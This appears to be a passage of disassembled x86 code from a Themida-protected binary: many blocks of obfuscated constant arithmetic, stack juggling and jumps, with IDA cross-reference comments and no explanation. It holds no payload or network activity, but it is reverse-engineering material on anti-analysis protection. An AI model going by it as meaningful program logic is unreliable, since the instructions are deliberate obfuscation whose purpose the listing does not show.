loc_56C722:				; CODE XREF: Themida_:00567E8Aj
		push	ebp
		mov	ebp, 0
		sub	ebp, ecx
		xchg	ebp, ecx
		pop	ebp
		dec	ecx
		add	ecx, 0C4D38A3Fh
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		neg	esi
		add	esi, 58C33129h
		jmp	loc_56BD17
; ---------------------------------------------------------------------------


loc_56C749:				; CODE XREF: Themida_:0056230Ej
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 6514800h
		push	4B96h
		mov	[esp], esi
		mov	esi, 4B4C5F4Fh
		and	edx, esi
		mov	esi, [esp]
		jmp	loc_5736AF
; ---------------------------------------------------------------------------


loc_56C76C:				; CODE XREF: Themida_:00571197j
		add	esi, 9E987D3Eh
		mov	ebp, esi
		pop	esi
		shr	ebp, 4
		shl	ebp, 8
		push	esi
		mov	esi, 568647D4h
		push	edx
		mov	edx, 0
		sub	edx, esi
		mov	esi, edx
		pop	edx
		jmp	loc_56A1FE
; ---------------------------------------------------------------------------


loc_56C791:				; CODE XREF: Themida_:0055F7CEj
		not	ebp
		xor	ebp, 0BF6FE97Bh
		add	esi, ebp
		pop	ebp
		jmp	loc_565CD3
; ---------------------------------------------------------------------------


loc_56C7A1:				; CODE XREF: Themida_:00570EECj
		pop	ebx
		dec	esi
		sub	esi, 5677B1A9h
		add	ecx, 4E616BDBh
		add	ecx, esi
		sub	ecx, 4E616BDBh
		pop	esi
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		push	5F7851C0h
		pop	ebp
		xor	ebp, 1EBF2E6Dh
		push	edx
		jmp	loc_56D2D9
; ---------------------------------------------------------------------------


loc_56C7D1:				; CODE XREF: Themida_:00564848j
		mov	[esp], ebp
		push	4B56h
		mov	[esp], ecx
		jmp	loc_564863
; ---------------------------------------------------------------------------


loc_56C7E1:				; CODE XREF: Themida_:00572D7Aj
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5733DD
; ---------------------------------------------------------------------------


loc_56C7F8:				; CODE XREF: Themida_:0056883Cj
		push	edi
		mov	edi, 4EF21B2Ah
		jmp	loc_55FF4E
; ---------------------------------------------------------------------------


loc_56C803:				; CODE XREF: Themida_:0056B340j
		neg	eax
		jmp	loc_568C55
; ---------------------------------------------------------------------------


loc_56C80A:				; CODE XREF: Themida_:0056166Bj
		add	edx, 1C6B364Bh
		add	eax, edx
		pop	edx
		jmp	loc_55F87D
; ---------------------------------------------------------------------------


loc_56C818:				; CODE XREF: Themida_:0056044Fj
		mov	edx, [esp]
		jmp	loc_571962
; ---------------------------------------------------------------------------


loc_56C820:				; CODE XREF: Themida_:005645DEj
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_570F89
; ---------------------------------------------------------------------------


loc_56C82A:				; CODE XREF: Themida_:0056AE0Fj
		add	edx, 5CF2499Dh
		sub	edx, 0FB720EBBh
		mov	ecx, edx
		pop	edx
		sub	edx, ecx
		jmp	loc_56AB0D
; ---------------------------------------------------------------------------


loc_56C840:				; CODE XREF: Themida_:00571B0Fj
		pop	ebp
		add	edx, ecx
		add	edx, 6FAC27E8h
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_562BEC
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		push	ecx
		push	ebp
		push	66AA24C4h
		pop	ebp
		add	ebp, 0FFFFFFFFh
		push	esi
		mov	esi, 3631005Ch
		and	ebp, esi
		pop	esi
		jmp	loc_56C91F
; ---------------------------------------------------------------------------


loc_56C879:				; CODE XREF: Themida_:00568087j
		pop	eax
		sub	edi, 5BBC2AE7h
		jmp	loc_56FBDF
; ---------------------------------------------------------------------------


loc_56C885:				; CODE XREF: Themida_:005640B4j
		mov	edx, 27A97A9Dh
		push	ecx
		mov	ecx, 23690878h
		xor	edx, ecx
		pop	ecx
		push	edx
		add	dword ptr [esp], 0FFFFFFFFh
		jmp	loc_56C8D2
; ---------------------------------------------------------------------------


loc_56C8A0:				; CODE XREF: Themida_:0056401Ej
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56C8A9:				; CODE XREF: Themida_:00562F29j
		sub	bl, 17h
		pop	ecx
		sub	bl, 9Eh
		movzx	eax, al
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_562386
; ---------------------------------------------------------------------------


loc_56C8C5:				; CODE XREF: Themida_:00563BE8j
		xor	bl, 6Ch
		add	al, bl
		pop	ebx
		add	al, cl
		jmp	loc_56389B
; ---------------------------------------------------------------------------


loc_56C8D2:				; CODE XREF: Themida_:0056C89Bj
		mov	edx, [esp]
		add	esp, 4
		add	edx, 0FFFFFFFFh
		jmp	loc_56660A
; ---------------------------------------------------------------------------


loc_56C8E3:				; CODE XREF: Themida_:0056A78Cj
		push	dword ptr [esp+4]
		jmp	loc_565CC4
; ---------------------------------------------------------------------------


loc_56C8EC:				; CODE XREF: Themida_:0055F577j
		shl	ebx, 3
		push	4869h
		mov	[esp], ecx
		push	2AEEh
		mov	[esp], esi
		jmp	loc_570DFB
; ---------------------------------------------------------------------------


loc_56C904:				; CODE XREF: Themida_:0056D75Bj
		pop	ebp
		push	edi
		jmp	loc_5700E3
; ---------------------------------------------------------------------------


loc_56C90B:				; CODE XREF: Themida_:00565A4Dj
		mov	cx, bp
		jmp	loc_573A2F
; ---------------------------------------------------------------------------


loc_56C913:				; CODE XREF: Themida_:00565577j
		sub	dword ptr [esp], 325F2874h
		jmp	loc_573BF7
; ---------------------------------------------------------------------------


loc_56C91F:				; CODE XREF: Themida_:0056C874j
		xor	ebp, 26200044h
		mov	ecx, ebp
		pop	ebp
		add	esi, 7B94307h
		push	ecx
		mov	ecx, 421D5AC2h
		push	ebp
		mov	ebp, 656249A0h
		xor	ecx, ebp
		pop	ebp
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, ecx
		sub	esi, 277F1362h
		sub	esi, 7B94307h
		pop	ecx
		jmp	loc_571B59
; ---------------------------------------------------------------------------


loc_56C95C:				; CODE XREF: Themida_:00560992j
		mov	edi, 151B0158h
		sub	edi, 0E7112C0h
		add	edi, 0A16A3E33h
		add	edx, edi
		pop	edi
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	esi, 51781D58h
		dec	esi
		push	edx
		mov	edx, 76CB3DB8h
		sub	edx, 1
		push	esi
		mov	esi, 675B09DAh
		neg	esi
		sub	esi, 6E756FEEh
		inc	esi
		jmp	loc_569B29
; ---------------------------------------------------------------------------


loc_56C99C:				; CODE XREF: Themida_:0056A91Aj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D81F
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56C9B2:				; CODE XREF: Themida_:00568A27j
		neg	eax
		push	ecx
		mov	ecx, 750523C1h
		sub	eax, ecx
		pop	ecx
		shr	eax, 6
		add	eax, 23DD584Fh
		jmp	loc_56F052
; ---------------------------------------------------------------------------


loc_56C9CA:				; CODE XREF: Themida_:00561A6Aj
		pop	edi
		push	3002h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 47E2612Ah
		and	ecx, 262FCDh
		add	ecx, 78CF06BCh
		jmp	loc_561D1A
; ---------------------------------------------------------------------------


loc_56C9F5:				; CODE XREF: Themida_:00564B63j
		pop	esp
		mov	[esp], ebx
		jmp	loc_56FFEC
; ---------------------------------------------------------------------------


loc_56C9FE:				; CODE XREF: Themida_:00567544j
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56CA0E:				; CODE XREF: Themida_:0056FADDj
		push	0FD5h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_569F59
; ---------------------------------------------------------------------------


loc_56CA23:				; CODE XREF: Themida_:00562518j
		mov	edx, [esp]
		add	esp, 4
		sub	bh, 8Ch
		sub	esp, 2
		mov	[esp], ax
		mov	al, 0EEh
		add	bh, al
		mov	ax, [esp]
		add	esp, 2
		neg	bh
		sub	bh, 0FFh
		add	bh, 10h
		xor	al, bh
		pop	ebx
		push	small 44ECh
		jmp	loc_56318C
; ---------------------------------------------------------------------------


loc_56CA55:				; CODE XREF: Themida_:00564FE7j
		pop	esp
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56CA5E:				; CODE XREF: Themida_:00572C06j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_56120E
; ---------------------------------------------------------------------------


loc_56CA6A:				; CODE XREF: Themida_:005660B2j
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 116F4C37h
		not	ecx
		inc	ecx
		xor	ecx, 0EE90B3CDh
		jmp	loc_56E35B
; ---------------------------------------------------------------------------


loc_56CA89:				; CODE XREF: Themida_:0056C4BEj
		pop	eax
		jmp	loc_56E59A
; ---------------------------------------------------------------------------


loc_56CA8F:				; CODE XREF: Themida_:0057432Bj
		pop	esi
		or	eax, 10D02E4Dh
		xor	eax, 50FE3EE9h
		jmp	loc_5665BF
; ---------------------------------------------------------------------------


loc_56CA9F:				; CODE XREF: Themida_:00573449j
		add	ebp, 4
		jmp	loc_5667D4
; ---------------------------------------------------------------------------


loc_56CAAA:				; CODE XREF: Themida_:0056F075j
		pop	edi
		push	5CA9h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_56000F
; ---------------------------------------------------------------------------


loc_56CABD:				; CODE XREF: Themida_:00573674j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_565133
; ---------------------------------------------------------------------------


loc_56CAE0:				; CODE XREF: Themida_:0056737Bj
		push	36EAh
		mov	[esp], eax
		jmp	loc_566A00
; ---------------------------------------------------------------------------


loc_56CAED:				; CODE XREF: Themida_:00574234j
		add	edx, ebx
		pop	ebx
		sub	edx, 4178381Ah
		add	edx, 837C87h
		or	edx, 0EED07C8h
		jmp	loc_572A9C
; ---------------------------------------------------------------------------


loc_56CB07:				; CODE XREF: Themida_:005629E4j
		xor	ecx, 40BF212Ch
		neg	ecx
		jmp	loc_560E59
; ---------------------------------------------------------------------------


loc_56CB14:				; CODE XREF: Themida_:00573734j
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_5696CC
; ---------------------------------------------------------------------------


loc_56CB23:				; CODE XREF: Themida_:0056C504j
		pop	ecx
		xor	edx, 541748ACh
		shr	edx, 1
		push	esi
		mov	esi, 22BE2821h
		or	edx, esi
		pop	esi
		xor	edx, 0B02F2D0h
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_56D62D
; ---------------------------------------------------------------------------


loc_56CB45:				; CODE XREF: Themida_:00571579j
		shl	bh, 3
		sub	bh, 30h
		push	1E89h
		mov	[esp], edx
		push	eax
		mov	ah, bh
		mov	dh, ah
		pop	eax
		jmp	loc_57363E
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5700D6
; ---------------------------------------------------------------------------


loc_56CB64:				; CODE XREF: Themida_:005679B0j
		sub	edi, 0E1DD35D2h
		mov	ebx, edi
		jmp	loc_56A96F
; ---------------------------------------------------------------------------


loc_56CB71:				; CODE XREF: Themida_:0056C71Dj
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		push	2A487BB9h
		jmp	loc_55FE93
; ---------------------------------------------------------------------------


loc_56CB84:				; CODE XREF: Themida_:00562D18j
		mov	edx, 28EF05DDh
		add	[esp+8], edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	ebx
		jmp	loc_56E12F
; ---------------------------------------------------------------------------

locret_56CBA1:				; CODE XREF: Themida_:0056146Bj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56E2EC
; ---------------------------------------------------------------------------


loc_56CBB6:				; CODE XREF: Themida_:005688E4j
		sub	esp, 4
		jmp	loc_571420
; ---------------------------------------------------------------------------


loc_56CBC1:				; CODE XREF: Themida_:0056C6F4j
		push	ecx
		mov	ecx, 468994B6h
		add	edi, ecx
		pop	ecx
		jmp	loc_572F8E
; ---------------------------------------------------------------------------


loc_56CBCF:				; CODE XREF: Themida_:0056B7DDj
		push	98E3058h
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 10E74691h
		and	ebx, eax
		pop	eax
		jmp	loc_56AFB7
; ---------------------------------------------------------------------------


loc_56CBEB:				; CODE XREF: Themida_:0056B0E7j
		add	[esp], al
		pushf
		jmp	loc_56D1A8
; ---------------------------------------------------------------------------


loc_56CBF4:				; CODE XREF: Themida_:00566E86j
		xor	esi, 6251E490h
		mov	edi, esi
		pop	esi
		add	[esp+8], edi
		mov	edi, [esp]
		add	esp, 4
		pop	esi
		pop	dword ptr [edi+24h]


loc_56CC0B:				; CODE XREF: Themida_:0056140Dj
		push	1E3h
		mov	[esp], ebp
		jmp	loc_573267
; ---------------------------------------------------------------------------


loc_56CC18:				; CODE XREF: Themida_:0056B53Bj
		pop	edi
		pop	edx
		pop	ebx
		push	ebp
		push	ebp
		mov	ebp, 2A4B0B89h
		xor	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_572BF2
; ---------------------------------------------------------------------------


loc_56CC40:				; CODE XREF: Themida_:00567C41j
		push	568753BBh
		pop	ebp
		inc	ebp
		neg	ebp
		add	ebp, 68911EBCh
		push	ebp
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		jmp	loc_56EED8
; ---------------------------------------------------------------------------


loc_56CC5D:				; CODE XREF: Themida_:005620FDj
		and	al, bh
		pop	bx
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_572F21
; ---------------------------------------------------------------------------


loc_56CC6B:				; CODE XREF: Themida_:00571B54j
		add	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_561F2B
; ---------------------------------------------------------------------------


loc_56CC79:				; CODE XREF: Themida_:005733D0j
		xor	esi, ecx
		pop	ecx
		add	edx, 600A02A5h
		jmp	loc_56386B
; ---------------------------------------------------------------------------


loc_56CC87:				; CODE XREF: Themida_:00564359j
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 0D686AFEh
		add	eax, edi
		sub	eax, 0D686AFEh
		push	ecx
		jmp	loc_5655DE
; ---------------------------------------------------------------------------


loc_56CCA2:				; CODE XREF: Themida_:0055F922j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6D113293h
		mov	ecx, 0EC0AFCFDh
		add	ecx, ebp
		pop	ebp
		xor	edi, ecx
		pop	ecx
		shr	edi, 2
		xor	edi, 4436A408h
		add	esi, edi
		pop	edi
		add	esi, 0F7081482h
		jmp	loc_56B84D
; ---------------------------------------------------------------------------


loc_56CCCF:				; CODE XREF: Themida_:00567572j
		sub	al, 0D5h
		jmp	loc_5669FA
; ---------------------------------------------------------------------------


loc_56CCD6:				; CODE XREF: Themida_:0056397Bj
		add	eax, 0CE8517Ch
		add	eax, 386E13F2h
		push	edx
		mov	edx, 46971037h
		and	edx, 485F0267h
		and	edx, 18F24597h
		dec	edx
		push	edx
		jmp	loc_567AAC
; ---------------------------------------------------------------------------


loc_56CCF9:				; CODE XREF: Themida_:005643A1j
		mov	[esp], esi
		push	2
		pop	esi
		jmp	loc_56FA44
; ---------------------------------------------------------------------------


loc_56CD07:				; CODE XREF: Themida_:0056E6CAj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 68AC6823h
		xor	ebx, 1C515F7Ch
		shr	ebx, 6
		jmp	loc_56E3EA
; ---------------------------------------------------------------------------


loc_56CD23:				; CODE XREF: Themida_:0056732Fj
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7B628C4h
		sub	esp, 4
		jmp	loc_56F78A
; ---------------------------------------------------------------------------


loc_56CD3E:				; CODE XREF: Themida_:005652E3j
		mov	eax, [esp]
		push	7EF5h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_563938
; ---------------------------------------------------------------------------


loc_56CD5C:				; CODE XREF: Themida_:0056522Cj
		push	36140E4Eh
		pop	ebx
		push	eax
		mov	eax, 28200B93h
		sub	ebx, eax
		pop	eax
		mov	edi, ebx
		jmp	loc_573133
; ---------------------------------------------------------------------------


loc_56CD72:				; CODE XREF: Themida_:0056D008j
		pop	ebx
		xor	dl, 4Ch
		jmp	loc_56293C
; ---------------------------------------------------------------------------


loc_56CD7B:				; CODE XREF: Themida_:0056210Fj
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], bp
		push	edx
		push	small 6669h
		pop	dx
		jmp	loc_56A555
; ---------------------------------------------------------------------------


loc_56CD99:				; CODE XREF: Themida_:005625D7j
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	1E4Eh
		mov	[esp], ebp
		mov	ebp, 45602F08h
		sub	ebx, ebp
		pop	ebp
		add	ebx, 798445Fh
		push	esi
		mov	esi, 163A43A7h
		jmp	loc_568018
; ---------------------------------------------------------------------------


loc_56CDC9:				; CODE XREF: Themida_:005655CEj
		add	esp, 4
		push	ebp
		mov	ebp, 44F32E7Eh
		push	edi
		mov	edi, esp
		jmp	loc_560E2B
; ---------------------------------------------------------------------------


loc_56CDDD:				; CODE XREF: Themida_:00572F54j
		add	edx, edi
		sub	edx, 26DA1B2Dh
		pop	edi
		push	266Fh
		mov	[esp], ebx
		push	edx
		push	0AEF565Ah
		pop	edx
		push	esi
		mov	esi, 0C350EE5h
		add	esi, 0F3CAF11Ch
		add	edx, esi
		jmp	loc_56EE6D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_56060E
; ---------------------------------------------------------------------------


loc_56CE11:				; CODE XREF: Themida_:00569C09j
		pop	ebx
		jmp	loc_5742D1
; ---------------------------------------------------------------------------


loc_56CE17:				; CODE XREF: Themida_:00568AE0j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	dword ptr [esp+4], 1E9350E5h
		jmp	loc_5611F4
; ---------------------------------------------------------------------------


loc_56CE2B:				; CODE XREF: Themida_:00567464j
		add	esp, 4
		sub	eax, esi
		add	eax, 5E2A2191h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	427E48D1h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_574330
; ---------------------------------------------------------------------------


loc_56CE55:				; CODE XREF: Themida_:0056A44Fj
		mov	cl, 6Ch
		push	bx
		mov	bh, 0A7h
		xor	bh, 0A3h
		and	cl, bh
		pop	bx
		add	cl, 0FFh
		add	cl, 0FFh
		neg	cl
		dec	cl
		add	cl, 5Ch
		and	ah, cl
		pop	ecx
		jmp	loc_568071
; ---------------------------------------------------------------------------


loc_56CE77:				; CODE XREF: Themida_:00565734j
		add	[esp+4], edi
		pop	edi
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_561D7D
; ---------------------------------------------------------------------------


loc_56CE90:				; CODE XREF: Themida_:00569C24j
		add	esp, 4
		add	ecx, edx
		jmp	loc_56C0B4
; ---------------------------------------------------------------------------


loc_56CE9D:				; CODE XREF: Themida_:0056E54Fj
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_56390F
; ---------------------------------------------------------------------------


loc_56CEB0:				; CODE XREF: Themida_:00567E7Dj
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		push	2
		pop	edx
		sub	edi, 2DBE07BAh
		add	edi, edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 74320BE5h
		jmp	loc_563672
; ---------------------------------------------------------------------------


loc_56CED5:				; CODE XREF: Themida_:0056A630j
		mov	esi, [esp]
		jmp	loc_56DD93
; ---------------------------------------------------------------------------


loc_56CEDD:				; CODE XREF: Themida_:00570369j
		add	edi, eax
		push	ebp
		mov	ebp, 60FE16F8h
		not	ebp
		shr	ebp, 8
		xor	ebp, 381A3DA2h
		sub	edi, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	27BFh
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_570376
; ---------------------------------------------------------------------------


loc_56CF12:				; CODE XREF: Themida_:00562A25j
		add	ebp, 6D370FEDh
		add	ebp, eax
		sub	ebp, 6D370FEDh
		add	ebp, 132F3CE0h
		jmp	loc_56A70B
; ---------------------------------------------------------------------------


loc_56CF2B:				; CODE XREF: Themida_:0056AC31j
		or	al, 0AEh
		xor	al, 92h
		sub	bl, 76h
		push	dx
		mov	dl, 0F3h
		sub	bl, dl
		jmp	loc_5615AA
; ---------------------------------------------------------------------------


loc_56CF3D:				; CODE XREF: Themida_:00565DB1j
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56C464
; ---------------------------------------------------------------------------


loc_56CF49:				; CODE XREF: Themida_:00572B56j
		mov	esp, [esp]
		mov	ebp, [esp]
		jmp	loc_56EB26
; ---------------------------------------------------------------------------


loc_56CF54:				; CODE XREF: Themida_:0056C405j
		mov	ebp, 48794116h
		jmp	loc_562C58
; ---------------------------------------------------------------------------


loc_56CF5E:				; CODE XREF: Themida_:005665A8j
		sub	esi, 44BB4295h
		add	esi, ebp
		push	eax
		jmp	loc_562586
; ---------------------------------------------------------------------------


loc_56CF6C:				; CODE XREF: Themida_:0056A148j
		mov	esi, 7FAF280Eh
		jmp	loc_56E773
; ---------------------------------------------------------------------------


loc_56CF76:				; CODE XREF: Themida_:00573DE3j
		sub	bl, 6Fh
		mov	ch, bl
		jmp	loc_570783
; ---------------------------------------------------------------------------


loc_56CF80:				; CODE XREF: Themida_:0056B0EEj
		pop	ebx
		jmp	loc_5663CA
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 235Eh
		jmp	loc_56FC24
; ---------------------------------------------------------------------------


loc_56CF93:				; CODE XREF: Themida_:00574310j
		sub	ecx, 0FFFFFFFFh
		push	4477h
		mov	[esp], edx
		push	3CCB4894h
		jmp	loc_563134
; ---------------------------------------------------------------------------


loc_56CFAB:				; CODE XREF: Themida_:00560ABDj
		push	ebx
		mov	ebx, 73ECA0Eh
		sub	eax, 6502175Eh
		add	eax, ebx
		add	eax, 6502175Eh
		pop	ebx
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_567185
; ---------------------------------------------------------------------------


loc_56CFCE:				; CODE XREF: Themida_:0056FFEEj
		mov	ch, bh
		push	dword ptr [esp]
		pop	ebx
		push	edi
		push	esp
		jmp	loc_56F347
; ---------------------------------------------------------------------------


loc_56CFDB:				; CODE XREF: Themida_:00566781j
		mov	ecx, 9732D97Ah
		add	ecx, edx
		pop	edx
		sub	edi, 6CAE08BDh
		sub	edi, 5F2B4C83h
		jmp	loc_56FBF5
; ---------------------------------------------------------------------------


loc_56CFF4:				; CODE XREF: Themida_:0056150Cj
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_57119C
; ---------------------------------------------------------------------------


loc_56D000:				; CODE XREF: Themida_:0056DE24j
		pop	ebx
		jmp	loc_56C6B3
; ---------------------------------------------------------------------------


loc_56D006:				; CODE XREF: Themida_:0056BA2Dj
		or	dl, bh
		jmp	loc_56CD72
; ---------------------------------------------------------------------------


loc_56D00D:				; CODE XREF: Themida_:00564766j
		mov	[esp], edx
		push	60F705B3h
		pop	edx
		add	dword ptr [esp+4], 52D84C8Fh
		add	[esp+4], edx
		sub	dword ptr [esp+4], 52D84C8Fh
		jmp	loc_56EA86
; ---------------------------------------------------------------------------


loc_56D02F:				; CODE XREF: Themida_:0056E69Fj
		mov	ecx, 21EC40D4h
		dec	ecx
		and	ecx, 43CD2FC6h
		jmp	loc_561AED
; ---------------------------------------------------------------------------


loc_56D040:				; CODE XREF: Themida_:00571699j
		inc	ebx
		shr	ebx, 3
		sub	ebx, 0D7ABDA4Bh
		add	edx, ebx
		pop	ebx
		shl	edx, 4
		add	edx, 0B05A1902h
		add	ecx, edx
		jmp	loc_573B36
; ---------------------------------------------------------------------------


loc_56D05D:				; CODE XREF: Themida_:0056DFCDj
		mov	edi, esi
		pop	esi
		xor	ebp, edi
		pop	edi
		add	ebp, 0EF26FFA7h
		xor	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_567966
; ---------------------------------------------------------------------------


loc_56D073:				; CODE XREF: Themida_:00561CD7j
		add	esp, 4
		push	0F6Eh
		mov	[esp], esi
		mov	esi, 66652937h
		jmp	loc_5605A4
; ---------------------------------------------------------------------------


loc_56D08B:				; CODE XREF: Themida_:0056BF3Aj
		pop	ebp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_56D731
; ---------------------------------------------------------------------------


loc_56D0A8:				; CODE XREF: Themida_:00565083j
		add	edx, 497117D3h
		add	edx, esi
		jmp	loc_55F785
; ---------------------------------------------------------------------------


loc_56D0B5:				; CODE XREF: Themida_:00570D94j
		mov	[esp], edi
		jmp	loc_57000C
; ---------------------------------------------------------------------------


loc_56D0BD:				; CODE XREF: Themida_:00574767j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 5585217Eh
		not	edx
		sub	edx, 23885D8Bh
		shl	edx, 2
		add	edx, 0E435FC29h
		jmp	loc_561B4E
; ---------------------------------------------------------------------------


loc_56D0E2:				; CODE XREF: Themida_:0056D997j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	al, ch
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_572C5C
; ---------------------------------------------------------------------------


loc_56D10E:				; CODE XREF: Themida_:0057263Aj
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 301811D4h
		jmp	loc_565612
; ---------------------------------------------------------------------------


loc_56D11F:				; CODE XREF: Themida_:00565987j
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 40E63D8Ch
		shl	ebp, 7
		jmp	loc_56091E
; ---------------------------------------------------------------------------


loc_56D130:				; CODE XREF: Themida_:0056B4FFj
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 683E2850h
		add	ebx, 99D0408Bh
		jmp	loc_564182
; ---------------------------------------------------------------------------


loc_56D14A:				; CODE XREF: Themida_:00572C38j
		xor	eax, 6B7E140Eh
		jmp	loc_561DD9
; ---------------------------------------------------------------------------


loc_56D154:				; CODE XREF: Themida_:0056A7C3j
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	edx
		jmp	loc_56BBC1
; ---------------------------------------------------------------------------


loc_56D16F:				; CODE XREF: Themida_:005707A5j
		push	ebx
		jmp	loc_564F2A
; ---------------------------------------------------------------------------


loc_56D175:				; CODE XREF: Themida_:00566242j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56C129
; ---------------------------------------------------------------------------


loc_56D183:				; CODE XREF: Themida_:0056BE1Aj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56E64E
; ---------------------------------------------------------------------------


loc_56D193:				; CODE XREF: Themida_:0056A697j
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5605AC
; ---------------------------------------------------------------------------


loc_56D1A8:				; CODE XREF: Themida_:0056CBEFj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56D1AD:				; CODE XREF: Themida_:00573336j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5633A8
; ---------------------------------------------------------------------------


loc_56D1BB:				; CODE XREF: Themida_:00562F14j
		add	esp, 4
		add	ecx, 17B36B3h
		add	ecx, eax
		sub	ecx, 17B36B3h
		jmp	loc_567358
; ---------------------------------------------------------------------------


loc_56D1D1:				; CODE XREF: Themida_:00563585j
		push	405h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	3B98h
		mov	[esp], ecx
		mov	ecx, 4
		sub	esi, ecx
		jmp	loc_562D99
; ---------------------------------------------------------------------------


loc_56D1FB:				; CODE XREF: Themida_:00567134j
		sub	edi, 5BA426C5h
		jmp	loc_57309C
; ---------------------------------------------------------------------------


loc_56D206:				; CODE XREF: Themida_:00570A35j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 10991E84h
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	esi, 7
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
